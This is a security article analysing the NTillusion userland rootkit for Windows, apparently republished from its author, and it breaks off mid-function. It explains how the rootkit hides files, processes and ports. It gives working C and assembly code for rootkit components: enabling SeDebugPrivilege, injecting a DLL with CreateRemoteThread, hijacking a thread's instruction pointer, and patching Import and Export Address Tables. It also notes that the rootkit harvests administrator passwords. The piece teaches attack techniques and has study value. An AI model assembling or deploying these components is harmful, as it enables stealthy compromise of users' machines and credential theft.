Analysis of a win32 Userland Rootkit

Summary
A rootkit is a program designed to control the behavior of a given machine. This is often used to hide the illegitimate presence of a backdoor and others such tools. It acts by denying the listing of certain elements when requested by the user, affecting thereby the confidence that the machine has not been compromised. Presented here an analysis of a Userland rootkit for Microsoft Windows.
 
Credit:
The information has been provided by Kdm.
The original article can be found at: http://nonenone.net/misc/NTILLUSION_fullpack.txt
 
 Details
Introduction:
There are different kinds of rootkits. Some act at the very bases of the operating system by sitting in kernel land, under the privileged ring 0 mode. Some others run under lower privileges in ring 3 and are called user land rootkits, as they target directly the user's applications instead of the system itself. These ring 3 rootkits have encountered a recrudescence the last years since it is somewhat more portable and polyvalent than ring 0.
As there are multiple ways to stay unseen under windows, this article has not the pretension to enumerate all existing methods. This is just a guide to understand how ring 3 rootkits work by analysing the mechanisms of one of the author created on his own: the [NTillusion rootkit] (See links in the end of the article).

The NTillusion rootkit has been designed to be able to run under the lowest privileges for a given account under windows. Indeed, it doesn't use any administrative privilege to be able to perform its stealth as it resides directly inside processes that are owned by the current user. In a word, all the ring 3 programs that a user might use to enumerate files, processes, registry keys, and used ports are closely controlled so they won't reveal unwanted things. Meanwhile, the rootkit silently waits for passwords, allowing the load of any device driver as soon as an administrator password is caught.
All this stuff is done in two steps. First, by injecting the rootkit's code inside each application owned by the current user and finally, by replacing strategic functions by provided ones. Theses tricks are performed at run time against a running process rather than on hard disk on binaries since it allows to work around the windows file protection, antiviral and checksum tools as well.

Code Injection:
So altering the behavior of a process requires to break into it's memory space in order to execute some code to do the job. Fortunately, windows performs checks to prevent an application to read or write memory of an other application without its permission. Nevertheless the windows programmers included several ways to bypass the native inter-process protection so patching other processes' memory at runtime is a true possibility. The first step in accessing a running process is done trough the OpenProcess API. If the application possesses the correct security permissions, the function returns a handle to deal with the process, in the other case, it denies access. By triggering a proper privilege, a user may get access to a privileged process as we'll see later. In Windows NT, a privilege is some sort of flag granted to a user that allows the user to override what would normally be a restriction to some part of the operating system. This is the bright side. But unfortunately there is also a seamy side. In fact there's multiple ways to break into the memory space of a running process and running hostile code in it, by using documented functions of the windows API.

System Hooks:
The most known technique uses the SetWindowsHookEx function which sets a hook in the message event handler of a given application. When used as a system hook, i.e. when the hook is set for the whole userland, by relying on a code located in a dll, the operating system injects the dll into each running process matching the hook type. For example, if a WH_KEYBOARD hook is used and a key is pressed under notepad, the system will map the hook's dll inside notepad.exe memory space. Easy as ABC...

But keep in mind that this method is (a little) secured so only processes that belong to the current user will be affected. Anyway, this is sufficient.

In practice, two components are required to set a system hook:
 * A DLL that will contain the hook filtering procedure for a given event, and of course, the code to be injected into all running processes, which represents the payload.
 * An executable that will load the DLL into memory and make it call the SetWindowsHookEx function, specifying the hook type to be implemented.
The hook is able to provide the fastest injection of the DLL into target processes is the WH_CBT hooks, designed to handle windows events (minimize, maximize, creation, etc...). One flaw with this method is that it will inject the DLL without worrying about the process it affects, so the DLL must perform a target check by calling GetModuleFileName, then decide whether or not to trigger the payload.
The typical structure of an injection by a system hook is shown below.

HHOOK hHook = NULL; /* global HHOOK var, used to save the hook handle */
HINSTANCE hDLL=NULL; /* global handle to Dll (in fact, this is DLL's base
address in memory */

/* The HookProc callback function is called by the system. We use it for
   injection purpose only as it must exist. */
__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam,
LPARAM lParam)
{
        return CallNextHookEx( hHook, nCode, wParam, lParam);
}

/* This proc is called by the loader to make the dll set the system wide
   hook */
__declspec(dllexport) void SetHook()
{
/* Set hook and save handle for later use */
hHook = SetWindowsHookEx( WH_CBT, HookProc, hDLL, 0 );
}


The rest of the code is trivial, it involves calling SetWindowsHookEx via the SetHook() procedure that resides inside the DLL. Thus, for the hook loader, we simply load the Dll, call GetProcAddress to get the address where SetHook is mapped, then call it.

CreateRemoteThread:
Another gift for Windows coders is the CreateRemoteThread API. As its name points out, it allows the creation of a thread inside the memory space of a target process. This function was offered because the designers of Windows undoubtedly thought about debuggers designers. So they provided a range of functions for remotely reading, writing and executing code through the windows NT API. Although this is great for debuggers, it is obvious that malicious application can also take advantage of this feature.
The previous method wasn't able to target process running under the context of another user, such as the SYSTEM account. This is also true for this method which cannot affect processes running under higher security permissions, unless the SeDebugPrivilege is set. When a process uses this privilege, it is considered by the system as being a debugger. Thereby, the system grants access to process of other users up to the SYSTEM account. However, you should not think that it leads to root compromise.
By default only administrators can enable that valuable privilege, and some process may resist against the SeDebugPrivilege using kernel tricks.
Using this privilege, any request to access a process with maximum rights is granted.

The following function activates the SeDebugPrivilege for the current process. First, it accesses current process token by calling OpenProcessToken with the appropriate rights. Then, it looks up the LUID value associated with the SE_DEBUG_NAME string defined in winnt.h by calling LookupPrivilegeValue. Finally it activates this privilege through a call to AdjustTokenPrivileges, passing it a properly filled TOKEN_PRIVILEGES structure.

int LoadSeDebugPrivilege()
{
        HANDLE hToken;
        LUID Val;
        TOKEN_PRIVILEGES tp;

        if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES
        | TOKEN_QUERY, &hToken))
                return(GetLastError());

        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
                return(GetLastError());

        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = Val;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        if (!AdjustTokenPrivileges(hToken, FALSE, &tp,
             sizeof (tp), NULL, NULL))
                return(GetLastError());

        CloseHandle(hToken);

        return 1;
}


Activating the SeDebugPrivilege is not necessary as long as you target a process that runs under lowers permissions or belong to the current user.
So just be sure to really need it before trying to use it. But let's go back to the CreateRemoteThread technique.

In practice, this is how the method works:

 * First and foremost, if the target process belongs to another user, the program activates the SeDebugPrivilege.
 * Then it requests a complete handle to the process to be injected using OpenProcess.
 * Using that handle, the program is allowed to use functions affecting the remote process, i.e.: VirtualProtectEx, to change the memory access protection: read, write and execute. Namely: ReadProcessMemory, to retrieve the content of a part of the memory space WriteProcessMemory, to overwrite a part of the memory VirtualAllocEx, to allocate memory among the target process.
 * Thus, it can allocate memory and inject the function to be executed with its arguments (a void* pointing to a simple variable or a more complex structure).
 * Finally, all that remains is to execute the function in the target process context by delegating the task to CreateRemoteThread. This initiates a new thread that calls the remote functions while passing it carefully selected arguments.

Contrary to the previous method, this is clean as it affects only one process at a time. Nevertheless, a draw back is that the injected code completely loses its landmark. As it cannot rely on the .data section of the native binary anymore, the code has to be specially designed so that the asm code produced by the compiler will only use relative addresses.
Added to that, there's no certitude that the API will be at the same address in the remote process. To counterbalance, we can use the pointer passed as a parameter to our functions to communicate the address of two fundamental API which we believe to be at the same address in the target process : LoadLibrary and GetProcAddress. Added to that, there's methods to determine the address of an API after arriving in a process, using only the FS segment, the Process Environment Block, a few undocumented structures, and a real taste for circular double-linked lists. We'll see these linked lists later.

Producing relocable code is a perfect exercise to learn how to bypass personal firewalls. Even though this is sometimes very useful, using it in a complex project such as a rootkit is not very convenient.
That's why we will use another method derived from this one. Thus, rather than needing to design all your code so that it is independent of its base address, you can design a small injector that once it has been injected in the target application's memory space, will load into that space DLL containing the actual useful code.
This may be done easily because LoadLibrary(LPCTSTR lpLibFileName) only takes one parameter that may be remotely provided to the function using the CreateRemoteThread API. So the trick is to allocate memory, inject the name of our Dll, then use CreateRemoteThread to call LoadLibraryA and pass as a parameter the address where the string containing the name of our Dll is stored.

The following function demonstrates the concept.

/* InjectDll : this function injects the DLL named DLLFile into a process
   identified by its handle hModule. This is used to inject the rootkit
   into any newly created process. (error checks stripped)
*/
int InjectDll(HANDLE hModule, char *DLLFile)
{
        int LenWrite; /* length of DLLFile string */
        char * AllocMem; /* pointer to allocated memory */
        HANDLE hThread; /* handle of newly created thread */
        DWORD Result;
        PTHREAD_START_ROUTINE Injector; /* replacement function address */
        FARPROC pLoadLibrary=NULL; /* LoadLibraryA address */

        /* Calculate the number of bytes to inject */
        LenWrite = strlen(DLLFile) + 1;

        
        /* Allocate requested memory amount for WriteProcessMemory */
        AllocMem = (char *) VirtualAllocEx(hModule,NULL, LenWrite,
                                                MEM_COMMIT,PAGE_READWRITE);
        
        /* Write DLLFile string into target process */
        WriteProcessMemory(hModule, AllocMem , DLLFile, LenWrite, NULL);

        /* Resolve LoadLibraryA address */
        pLoadLibrary = (FARPROC) fGetProcAddress(
        GetModuleHandle("kernel32.dll"), "LoadLibraryA");

        /* Make the thread's entry point to be LoadLibraryA */
        Injector = (PTHREAD_START_ROUTINE) pLoadLibrary;

        /* Create the thread into remote process */
        hThread = CreateRemoteThread(hModule, NULL, 0, Injector,
    (void *) AllocMem, 0, NULL);

        /* Here we may wait to do clean up */
        /* Time out : 15 seconds */
    Result = WaitForSingleObject(hThread, 15*1000);
        VirtualFreeEx(hModule, (void *) AllocMem, 0, MEM_RELEASE);
        CloseHandle(hThread);

return 1;
}


Although this method seems interesting, it is from far widespread and easy to defeat using a security driver. More over, the injected DLL will be easily noticed by any program performing basic module enumeration. Later sections offer a solution to this problem.

Manipulating thread's context - Overview
CreateRemoteThread isn't the only debugging API that may be used to execute code into a target process. The principle of the following technique is to reroute a program's execution flow to malicious code injected in the program's memory space. This involves three steps.
First, the injector chooses a thread of this process and suspends it.
Then, it injects the code to be executed in the target process memory as before, using VirtualAllocEx/WriteProcessMemory, and changes a few addresses due to changes in memory position. Next, it sets the address of the next instruction to be executed for this thread (eip register) to point to the injected code and restarts the thread. The injected code is then executed in the remote process. Finally it arranges for a jump to the next instruction that should have been executed if the program had followed its normal course, in order to resume its activity as soon as possible.

...and getting deeper:
The following lines will discuss how to implement this technique in two different cases. On the one hand, we examine the case of a process created by the injector, and on the other hand, the case of an already running one.

- Process created by the injector:
Here, the target thread is already known: we'll use the one returned by the CreateProcess function which enables the creation of a process, in suspended mode when specifying the CREATE_SUSPENDED flag. In this mode, the process creation is stopped just before the first line of its code is reached. Optimal time for a rootkit to operate, huh?

- Process already running in memory (runtime hijacking)
On the other hand, if the process is already running, we must choose one of its threads and stop it. To do this job, we enumerate all the threads on the local machine by using CreateToolhelp32Snapshot, Thread32First, Thread32Next functions and choose the first thread we're allowed to access via the OpenThread function.
Once the target thread ID has been found, we simply suspend it by passing the handle acquired, as explained above, to the SuspendThread function.

Generating and injecting assembly code:
Once the target thread has been suspended, the injector simply needs to write the machine code to be executed in the process' memory space. As in previous cases, this is done by allocating memory using VirtualAllocEx, then writing it in the remote process using WriteProcessMemory. In our case, the machine code is intended to execute the LoadLibraryA function. The code appears as follows.

       pushfd ; push EFLAGS
        pushad ; push general purpose registers

        ; payload body :
        push &<dll_path> ; push the address of DLL path string
        call LoadLibraryA ; call LoadLibrary API.


        popad ; pop general purpose registers
        popfd ; pop EFLAGS
        jmp Original_Eip ; resume execution where it left off before the
                            ; hijacking


Here it is clear that the address of the dll path will change between executions as it depends on the VirtualAllocEx function, which itself will try to allocate memory wherever some is available. The same is true for the address of Original_Eip which is subject to change between executions.
Only the address of LoadLibraryA can be considered as static, and even so that is of little help because it changes according to the version of windows, service packs, and various updates. Sneaky, huh?

Triggering the payload, and returning to normal for the host process:
As the code to be executed has been placed in memory, all that remains is to execute it. This involves three steps. First, we modify the EIP register of the remote thread, which contains the address of the next instruction to be executed, and have it point the injected code. Then we call SetThreadContext to make this change to EIP into account. Finally, we resume the execution of the remote thread by calling the ResumeThread API.

These methods offer an alternative to the over popular CreateRemoteThread function which could have been hooked by a driver to protect the machine against this kind of trick. But everything has a downside. Indeed, under windows 9x/Me, there's no alternative of VirtualAllocEx, so the memory must be browsed meticulously using the PE header to find a free zone.

According to the sections above, it seems that there is no perfect method.
Each presents advantages and drawbacks. Thus, the major advantage of system hooks is their portability from one version of windows to another, covering windows 95 to XP. The CreateRemoteThread one is to offer a method able to target precisely a single process to inject, and being easy to use. Finally, the advantage of the injection using Set/GetThreadContext and EIP hijacking is to ensure to be less used and therefore more sure than the others.
Other methods also exist to trigger the load of a given DLL inside the memory space of a target process.
By design, the HKEY_LOCAL_MACHINE/Software/Microsoft/WindowsNT/Current Version/Windows/AppInit_DLLs key gathers the DLL to be loaded by the system inside each process relying on user32.dll. Added to that come the BHO, standing for browser help objects, that act as plugins for web-browsers, enabling the load of any sort of code.

Code interception:
Code interception routines are critical since they had to meet efficiency and speed requirements. The methods presented in this section have their own advantages and drawbacks. As for the injection techniques, there's more than one way to do the job. The goal of the methods is to redirect another program's function when it is loaded in memory. For the target program, everything takes place as if it had called the desired functions as usual. But in fact the call is redirected to the replacement API.
Some methods of API interception are based on features intentionally provided by the designers of the PE format to simplify the loader's task when a module is mapped into memory. The function redirection takes place once the code we inject into the target process is executed. To understand how these methods work, a thorough understanding of the PE format is needed.

The PE Format:
The Portable Executable organizes windows executables and Dlls according to a set of rules. A lot of information is readily available in the PE header located at the very beginning of the file. When an executable is loaded into memory, its image on disk (.exe/.dll) is projected into memory and its overall structure is maintained, which makes it easy to find your way around in a process if you know its base memory address. In the PE, a lot of values are marked as being Relative Virtual Addresses (RVA), which traduces an offset from the base address of the module in memory. Thus the real memory address is equal to the sum of the process' base address and the RVA.
The PE header, located at the base address (RVA 0), starts with the MS-DOS stub, responsible (among other things) for displaying the famous "This program cannot be run in DOS mode".

/* Extracts from winnt.h.
   At Module Base Address (rva 0) : */
typedef struct _IMAGE_DOS_HEADER { /* DOS .EXE header */
    WORD e_magic; /* Magic number */
    [...]
    LONG e_lfanew; /* File address of new exe header */
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;


In fact, the real header is located at RVA IMAGE_DOS_HEADER->e_lfanew. It is a structure of type IMAGE_NT_HEADERS, including a signature and two structures:

/* At IMAGE_DOS_HEADER->e_lfanew : */
typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;


- A structure IMAGE_FILE_HEADER, which provides information about the number of sections in the executable, the type of processor it was compiled for, etc.
- A structure IMAGE_OPTIONAL_HEADER, which contains a table of structures of type IMAGE_DATA_DIRECTORY.

/* At (IMAGE_DOS_HEADER->e_lfanew)->OptionalHeader : */
typedef struct _IMAGE_OPTIONAL_HEADER {
    WORD Magic; /* Appears to be a signature WORD of some sort. Always
   appears to be set to 0x010B. */
    [...]
    DWORD NumberOfRvaAndSizes; /* The number of entries in the
    DataDirectory array (below). This value is always set to 16 by the
    current tools. */
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
/* An array of IMAGE_DATA_DIRECTORY structures. The initial array elements contain the starting RVA and sizes of important portions of the executable file. Some elements at the end of the array are currently unused. */
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;


The first element of the array is always the address and size of the exported function table (if present). The second array entry is the address and size of the imported function table, and so on.

Those IMAGE_DATA_DIRECTORY directories contain the size and address of the various sections of the executable as follows.
/* At (IMAGE_DOS_HEADER->e_lfanew)->OptionalHeader->DataDirectory[x]: */
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD VirtualAddress;
    DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

/* The different sections have a defined index in the DataDirectory
array: */
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 /* Export Directory */
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 /* Import Directory */
[...]


Between the PE header and the content of the first section lies the section table. It contains information about the various sections of the module : name, base address, read and write permissions (IMAGE_SCN_XXX_XXX).

At (IMAGE_DOS_HEADER->e_lfanew)->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] is the RVA to the Import Table. Similarly, the Export Address Table RVA (if it exists) may be found at (IMAGE_DOS_HEADER->e_lfanew)->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
We'll see how these tables are organised in a moment.

Redirecting the Import Address Table:
After injecting our code into the application's memory space, it is possible to change its behavior. We use a technique called "API hooking" which involves replacing the API by our own routines. The most common way to do this is to alter the import address table of a given module.
When a program is executed, its various zones are mapped into memory, and the addresses of the functions it calls are updated according to the windows version and service pack. The PE format provides a clever solution to do this update, without patching every single call. When you compile your program, each call to an external API is not directly pointing to the function's entry point in memory. It is using a jump involving a dword pointer, whose address is among a table called the Import Address Table (IAT), since it contains the address of each imported function. At load time, the loader just needs to patch each entry of the IAT to modify the target of each call for all API.
Thus, to hijack, we simply patch the IAT to make the memory point to our code instead of the true entry point of the target API. In this way, we have total control over the application, and any subsequent calls to that function are redirected.
The concept of direct call is important, because depending on how the function is called, the redirection may not take place. This is especially the case when the call is not static, i.e. it is not resolved by the loader. This situation occurs when the call is made either using dynamic resolving (LoadLibrary/GetProcAddress), using a fixed address such as FARPROC myFunc = 0x87654, or following a resolution of the API address with the export table of the dll (EAT), as would be done by GetProcAddress.
Note that it is possible to redirect LoadLibrary and GetProcAddress to overcome a part of the problem.
When redirecting via the Import Address Table, the technique consists in modifying the zone that makes the redirection jump for a given function, to a memory area controlled by the injector. So, to modify the IAT of a remote process, we must inject our code into the target process, have it executed, and recover the address of the NTHeaders structure in order to determine the base address of the Import Table. Then we must scan the table, find the Import Address Table of the correct DLL, and patch the address of the correct API. Let us take an example. Imagine that we want to hook the MessageBoxA API. First we must find the IMAGE_IMPORT_DESCRIPTOR associated to the user32.dll, then scan the Import Address Table for that DLL. As the goal is to replace the genuine address with a new one, the only thing to do is to walk this table, perform comparison, and when found, unlock the memory protection, then patch, and finally restore the previous memory protection. This is the general idea.
In fact, this is a little more complicated since the structures aren't that simple.
As we saw before, at (IMAGE_DOS_HEADER->e_lfanew)->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] is the RVA to the Import Table. The Import Table is an array of IMAGE_IMPORT_DESCRIPTORs, one for each imported DLL. There's no field indicating the number of structures in this array. Instead, the last element of the array is indicated by an IMAGE_IMPORT_DESCRIPTOR that has fields filled with NULLs.

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union
    {
        DWORD Characteristics; /* This field is an offset (an RVA) to an array of pointers. Each of these pointers points to an IMAGE_ IMPORT_BY_NAME structure. 0 for terminating null import descriptor*/
        DWORD OriginalFirstThunk; /* RVA to original unbound IAT (PIMAGE_THUNK_DATA)*/
    };
    
    DWORD TimeDateStamp;
    DWORD ForwarderChain; /* This field relates to forwarding.
    Forwarding involves one DLL sending on references to one of its functions to another DLL. For example, in Windows NT, NTDLL.DLL appears to forward some of its exported functions to KERNEL32.DLL. -1 if no forwarders */
    DWORD Name; /* This is an RVA to a NULL-terminated ASCII string containing the imported DLL's name. Common examples are "KERNEL32.DLL" and "USER32.DLL". */
    DWORD FirstThunk; /* This field is an offset (an RVA) to an IMAGE_THUNK_DATA union. In almost every case, the union is interpreted as a pointer to an IMAGE_IMPORT_BY_NAME structure. If the field isn't one of these pointers, then it's supposedly treated as an export ordinal value for the DLL that's being imported. */
} IMAGE_IMPORT_DESCRIPTOR;


In the Import Table, there's one IMAGE_IMPORT_DESCRIPTOR entry for each imported DLL. Each IMAGE_IMPORT_DESCRIPTOR typically points to two arrays known as the Import Address Table (IAT), and the Import Name Table (INT).
The two arrays have a dual life.
Before execution, they can contain either the ordinal of the imported API, or an RVA to an IMAGE_IMPORT_BY_NAME structure, saving the name of the imported function. There's one entry in IAT and INT for each imported functions. Both arrays are zero terminated.

/* So before loading, the tables are arrays containing structures: */
typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD Hint; /* the best guess as to what the export ordinal for the imported function is */
    BYTE Name[1]; /* ASCII string with the name of the imported
 function. */
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;


Before loading, the Characteristics member of the union is used, pointing to an IMAGE_IMPORT_BY_NAME array.

During load time, the loader forgets about IMAGE_IMPORT_BY_NAME structures and manipulates IMAGE_THUNK_DATA. These ones are essentially the same since they can act either as pointer to IMAGE_IMPORT_BY_NAME for the Import Name Table, or as functions pointers, for the Import Address Table.

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        PBYTE ForwarderString;
        PDWORD Function;
        DWORD Ordinal;
        PIMAGE_IMPORT_BY_NAME AddressOfData;
    } u1;
} IMAGE_THUNK_DATA32;


Indeed, during load time, the table pointed by IMAGE_IMPORT_DESCRIPTOR->FirstThunk is overwritten by the loader and its IMAGE_THUNK_DATA are no longer considered as PIMAGE_IMPORT_BY_NAME, but rather as function pointers. To sum up, the Import Address Table that was containing imported functions names is replaced by an array of pointer to API addresses. On the other side, the Import Name Table stays unchanged, being an array of IMAGE_THUNK_DATA using the PIMAGE_IMPORT_BY_NAME member of the u1 union.

Before loading Import Name Table : IMAGE_IMPORT_DESCRIPTOR->Characteristics (type: IMAGE_IMPORT_BY_NAME array)
Import Address Table: IMAGE_IMPORT_DESCRIPTOR->FirstThunk (type: IMAGE_IMPORT_BY_NAME array)

After loading Import Name Table : IMAGE_IMPORT_DESCRIPTOR-> OriginalFirstThunk (type: IMAGE_THUNK_DATA array)
Import Address Table: IMAGE_IMPORT_DESCRIPTOR-> FirstThunk (type: IMAGE_THUNK_DATA array)


Now we have all the elements to set up an interception function hacking the Import Address Table.

/* A simple cast function, to get an address from a base address and a RVA, casting the whole thing */
#define MakePtr(cast, ptr, addValue ) (cast) ( (DWORD)(ptr)+(DWORD)(addValue))

/* Scan through IAT and patches target function's entry point address It uses function name comparison instead of entry point address
   comparison because explorer handles oddly some API at load time under windows 2000. (error checks stripped)
*/
int HijackApiEx(HMODULE hLocalModule, const char *ntiDllName, const char *ntiApiName, PVOID pApiNew, PVOID *ApiOrg)
{
    /* Pointer to: */
    PIMAGE_DOS_HEADER pDOSHeader; /* DOS header */
    PIMAGE_NT_HEADERS pNTHeaders; /* NT headers */
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc; /* Import Descriptor */
    PIMAGE_THUNK_DATA pIAT; /* Functions address chunk */
    PIMAGE_THUNK_DATA pINT; /* Functions names array */
    PIMAGE_IMPORT_BY_NAME pImportName; /* Function Name */
    PIMAGE_THUNK_DATA pIteratingIAT; /* Iterating pointer */
    char* DllName=NULL;
    DWORD IAT_funcAddr=0; /* Fonction's entry point in IAT */
    DWORD GPR_funcAddr=0; /* Function entry point with GetProcAddress */
    unsigned int cFuncs=0; /* Function counter */
    DWORD dwProtect=0, dwNewProtect=0; /* Memory protection flags */
    int i=0, ret=0; /* Iteration counter, return value */
    DWORD dwBase; /* Module base address */
    
    /* Get base address */
    dwBase = (DWORD)hLocalModule;
    /* Get DOS header */
    pDOSHeader = (PIMAGE_DOS_HEADER) dwBase;
    /* Get NT headers */
    pNTHeaders = MakePtr(PIMAGE_NT_HEADERS, pDOSHeader,
        pDOSHeader->e_lfanew);
    /* Localize Import table */
    pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, dwBase,
        pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress);
    /* For each imported DLL */
    while(pImportDesc->Name)
    {
          /* Set up DLL name pointer */
          DllName = MakePtr(char*, dwBase, pImportDesc->Name);

          /* check if it's the wanted dll */
          if(!_stricmp(ntiDllName, DllName))
        {
            /* Set up Import Name/Address Table pointers for this DLL */
                    pINT = MakePtr(PIMAGE_THUNK_DATA, dwBase,
                        pImportDesc->OriginalFirstThunk );
                    pIAT = MakePtr(PIMAGE_THUNK_DATA, dwBase,
                        pImportDesc->FirstThunk );
                        cFuncs = 0;
                        
                        /* Count how many entries there are in this IAT. Array is 0 terminated. (Trick used by Matt Pietrek)
            */
                        
                        pIteratingIAT = pIAT;
                        while ( pIteratingIAT->u1.Function )
                        {
                                 cFuncs++;
                                 pIteratingIAT++;
                        }
    
                        if ( cFuncs != 0 )
                        {
                          /* Scan through the IAT */
                          pIteratingIAT = pIAT;
                          while ( pIteratingIAT->u1.Function )
                          {
                                /* Check that function is imported by name */
                                if ( !IMAGE_SNAP_BY_ORDINAL( pINT->u1.Ordinal ) )
                                {
                                   pImportName = MakePtr (PIMAGE_IMPORT_BY_NAME,
                                          dwBase, pINT->u1.AddressOfData);

                                   /* Check if it's the target API */
                                   if(!_stricmp(ntiApiName,
                                          ((char*)pImportName->Name)))
                                   {

                                        /* OK, this is the target API, save genuine
                                           API address for later use */
                                        if (ApiOrg)
                                          *ApiOrg = (void*)
                                          (pIteratingIAT->u1.Function);
                                                        
                                        /* Unlock read only memory protection */
                                        VirtualProtect((LPVOID)
                                        (&pIteratingIAT->u1.Function),
                                        sizeof(DWORD),PAGE_EXECUTE_READWRITE,
                                        &dwProtect);
                                        /* OVERWRITE API address! :) */
                                        (DWORD*)pIteratingIAT->u1.Function =
                                        (DWORD*)pApiNew;
                                        /* Restore previous memory protection */
                                        VirtualProtect((LPVOID)
                                        (&pIteratingIAT->u1.Function),
                                        sizeof(DWORD),dwNewProtect,
                                        &dwProtect);
                                        return 1;
                                   } /* end "target check" */
                                } /* end "imported by name?" */
            
                                pIteratingIAT++; /* jump to next IAT entry */
                                pINT++; /* jump to next INT entry */
                           } /* end for each function */
                        } /* end "is IAT empty?"*/
           } /* end "target dll check" */

           pImportDesc++; /* jump to next dll */
     } /* end while (for each DLL) */

    return ret;
}


How to use this?
For example, to hook GetProcAddress just call the function as follows:
Int result;
result = HijackApiEx((hLocalModule), "KERNEL32.DLL", "GetProcAddress", ((VOID*)&MyGetProcAddress), ((VOID**)&fGetProcAddress));

hLocalModule being a handle to the module whose Import Table is going to be altered, MyGetProcAddress the replacement function, and fGetProcAddress a FARPROC to call the real API without falling in the hook trap.

Redirecting the Export Address Table:
This method is from far less used than the previous one since it isn't as useful and easy to set up. Like the other, it is based on conveniences introduced by the PE creators to speed up the task of the loader, when resolving DLL exports. References to these exports are gathered in a dedicated section labelled Export Table that associates a name or an ordinal to each exported symbol (function, variable). From this name/ordinal it is then possible to retrieve the address of the symbol inside the memory space of the loaded module.
The export section begins at RVA pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress with an IMAGE_EXPORT_DIRECTORY structure presented below.

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics; /*Flags for the exports. Currently, none are defined. */
    DWORD TimeDateStamp; /*The time/date that the exports were
  created. */
    WORD MajorVersion; /*The major version number of the exports.*/
    WORD MinorVersion; /* minor */
    DWORD Name; /*A relative virtual address (RVA) to an ASCII string with the DLL name associated with these exports (for example, KERNEL32.DLL).*/
    DWORD Base; /*This field contains the starting ordinal value to be used for this executable's exports.*/
    DWORD NumberOfFunctions;/*The number of entries in the EAT. Note
that some entries may be 0, indicating that no code/data is exported with that ordinal value.*/
    DWORD NumberOfNames; /*The number of entries in the Export Names Table (ENT).*/
    DWORD AddressOfFunctions; /*The RVA of the EAT.*/
    DWORD AddressOfNames; /*The RVA of the ENT */
    DWORD AddressOfNameOrdinals; /*The RVA of the export ordinal table.
*/
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

The members we're interested in are :
AddressOfFunctions : a RVA to the so-called Export Table which is an array of entry points RVA. Each nonzero RVA in the array corresponds to an exported symbol.
AddressOfNames : a RVA to the Export Name Table which gathers RVA to ASCII strings. Each ASCII string corresponds to a symbol exported by name.
AddressOfNameOrdinals : a RVA to the Export Ordinal Table. This table of WORDS maps an array index from the Export Name Table into the corresponding export address table entry.

In practice, how does it works? Let's say we want to recover the address of MessageBoxA by walking the Export Table of user32.dll. We start by scanning through AddressOfNames and find the function name at index X.
Then we consult the content of AddressOfNameOrdinals[X] and found the value Y. Finally we just look the content of AddressOfFunctions[Y] and found the RVA to MessageBoxA's entry point.

In the case of hijacking, the main idea is to scan through the Export Table and overwrite the address of a function we want to replace, causing subsequent address resolution for this symbol to point to our code instead of the real one. This perfectly works against programs that perform runtime address resolution by calling GetProcAddress. In fact, this function does the same job as the loader by walking the Export Table, so foiling it is easy. Nevertheless in the case of the loader, address resolution is done even earlier we had a chance to run code inside a newly created process so faking the Export Table of a given module won't affect the Import Table of the process. This is why Export Address Table hooking is not very efficient under windows NT/2000/XP.
However windows 9x does not map a copy of system DLLs inside the memory space of each process as NT does, but rather loads them into a space accessible by everyone (something like PAGE_EXECUTE_READ, but write access can be enforced). In this case hooking the Export Table is very effective since it will affect any newly created process.

We somewhat covered the topic so it's time to see the code.

/*
This function returns the address of the ExportAddressTable array member
(AddressOfFunctions[x]) that olds the real API address. In other words, at the address returned, you'll find a RVA to the API's address in memory.
(Equivalent to GetProcAddress, apart from the fact that you have to extract the API Address yourself, but it's useful for EAT hooking techniques)

Sample :
DWORD BaseAddr;
HINSTANCE hDll;
HDll = LoadLibrary("user32.dll");
BaseAddr = (DWORD)HDll;
DWORD* p = EAT_GetPointerToApiAddress(HDll,"MessageBoxA")

printf("%s real address: 0x%x (RVA+BaseAddr), stored in EAT at 0x%x","MessageBoxA", *p+BaseAddr, p);

Please note that this function returns a RVA, not a complete address.
You'll have to add the module base address.
(error checks stripped)
*/


/* Returns an offset from a RVA and a base address, casted into TYPE* */
#define RVA2OFS(Type, BaseAddr, RVA) ((Type)((DWORD)(BaseAddr) + (DWORD)(RVA)))

DWORD EAT_GetPointerToApiAddress(HMODULE hMod, char* ApiName)
{
  /* Pointer to DOS header */
  PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)hMod;
  PIMAGE_NT_HEADERS pNTHeader; /* Pointer to NT header */

  PIMAGE_EXPORT_DIRECTORY pExportDir; /* Pointer to Export Section */
  DWORD i, baseAddr; /* Counter, and module base address */
  DWORD* ENT; /* Export Name Table */
  DWORD* AOF; /* Address Of Functions */
  WORD* AONO; /* Address Of Names Ordinal */

  /* Set up base address */
  baseAddr = DWORD(hMod);
  
